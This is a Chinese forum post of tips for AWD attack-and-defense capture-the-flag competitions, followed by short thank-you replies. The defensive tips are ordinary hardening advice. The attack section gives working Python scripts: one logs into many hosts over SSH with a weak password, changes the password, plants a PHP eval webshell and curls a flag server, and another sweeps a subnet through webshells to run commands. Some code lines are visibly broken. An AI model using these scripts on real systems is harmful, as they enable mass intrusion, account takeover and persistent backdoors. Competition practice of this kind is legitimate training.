丰江 发表于 2025-9-30 01:06:38

AWD攻防技巧

AWD攻防技巧

基本防守策略

1.改用户密码和服务器密码

1.改linux用户密码

passwd

如果有权限就删除用户:
userdel -R 用户名2.改mysql密码:

update mysql.user set password=password("密码")where user='root';删除匿名用户
delete from mysql.user where user='';刷新配置
flush privileges3.改网站后台密码

从网站页面或者源码用御剑找到后台页面,尝试弱口令登入后改管理员密码
2.web防护

1.将目录打包成tar文件

tar -cvf 打包后的文件.tar 要打包的文件名2.用ssh或者ftp 将打包的文件拉到本机

scp 用户名@IP地址:要下载的文件路径 存放路径
scp root@192.168.18.6:/root/flag.txt /root/ftp用法
ftp ip地址get IP地址
或者用ftp软件登入
3.将压缩包解压放进D盾扫描木马文件

3.关闭shell连接进程

1.查看真正连接的进程

who2.关闭连接进程

pkill -kill -t pts/进程号4.网站守护

1.查看新增加文件,删除

find ./ -cmin -302.删除不死码

vim killshell.sh

chmod 777 killshell.sh
nohub ./killshell.sh &

#/bin/bash
while true:
        do
                rm rf xxx.php
        done3.发现网站页面有漏洞

echo >xxx.phPS:平台root用户可能是弱口令或者存在提取。
直接
rm -rf /bin/curl基本攻击策略

1.弱口令攻击

批量用户登入修改密码并写入webshell且修改活动flag值
《ssh.py》
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import paramiko

for i in :
    try:
      host = f"192.168.{i}.100"# 假设 IP 格式为 192.168.x.100
      s = paramiko.SSHClient()
      s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
      s.connect(hostname=host, port=22, username='user1', password='123456')

      # 修改密码
      stdin, stdout, stderr = s.exec_command('passwd')
      stdin.write("123456\nPass@123.com\nPass@123.com\n")
      stdin.flush()

      # 上传 WebShell
      stdin, stdout, stderr = s.exec_command("echo '<?php eval($_POST); ?>' > /var/www/html/.zack.php")

      # 访问远程 URL
      stdin, stdout, stderr = s.exec_command("curl http://192.168.245.250/getkey")
      print(host + ' ' + stdout.read().decode('utf-8'))

    except Exception as e:
      print(f"连接失败: {host} - {e}")2.批量调用webshell获取flag

用D盾扫描自己的网站木马,根据木马写脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import urllib3

# 忽略HTTPS警告(如为http可省略)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# webshell路径与密码
webshell_url_template = "http://192.168.1.{}/uploads/shell.php"
password = "abc123"

# 要执行的命令(读取flag)
command = "cat /tmp/flag.txt"

# 内网IP范围
for i in range(1, 255):
    target_ip = f"192.168.1.{i}"
    url = webshell_url_template.format(i)
    try:
      # 构造webshell请求
      params = {
            password: f'system("{command}");'
      }
      resp = requests.get(url, params=params, timeout=3, verify=False)
      if resp.status_code == 200 and "flag" in resp.text:
            print(f"[+] {target_ip} - Flag: {resp.text.strip()}")
      else:
            print(f"[-] {target_ip} - 无响应或无flag")
    except Exception as e:
      print(f"[!] {target_ip} - 请求失败: {e}")3.不死码种植

将不死码上传网站目录,访问不死码后在当前目录生成zack.php后门webshell

院儿饯 发表于 2025-11-27 06:29:08

谢谢分享,辛苦了

荡俊屯 发表于 2025-12-6 06:08:16

yyds。多谢分享

遇玷 发表于 2025-12-8 18:55:04

分享、互助 让互联网精神温暖你我

梅克 发表于 2025-12-17 04:14:13

喜欢鼓捣这些软件,现在用得少,谢谢分享!

奸轲嫣 发表于 2026-1-16 15:59:25

感谢,下载保存了

姚望舒 发表于 2026-1-17 07:00:55

东西不错很实用谢谢分享

二艰糖 发表于 2026-1-18 15:42:31

yyds。多谢分享

格恳绌 发表于 2026-1-19 23:32:24

鼓励转贴优秀软件安全工具和文档!

蜴间囝 发表于 2026-1-22 09:43:59

热心回复!

金娅鸣 发表于 2026-1-22 12:23:23

感谢分享

山芷兰 发表于 2026-1-26 10:39:05

前排留名,哈哈哈

昆拗干 发表于 2026-1-27 10:18:21

新版吗?好像是停更了吧。

渭茱瀑 发表于 2026-1-28 05:54:50

东西不错很实用谢谢分享

劳怡月 发表于 2026-1-28 18:49:26

懂技术并乐意极积无私分享的人越来越少。珍惜

翁谌缜 发表于 2026-2-2 02:48:04

东西不错很实用谢谢分享

颜才 发表于 2026-2-5 11:46:18

分享、互助 让互联网精神温暖你我

铜坠匍 发表于 2026-2-6 06:15:20

这个好,看起来很实用

列蜜瘘 发表于 2026-2-8 08:25:48

感谢,下载保存了

郁梓馨 发表于 2026-2-8 11:49:55

喜欢鼓捣这些软件,现在用得少,谢谢分享!
页: [1] 2
查看完整版本: AWD攻防技巧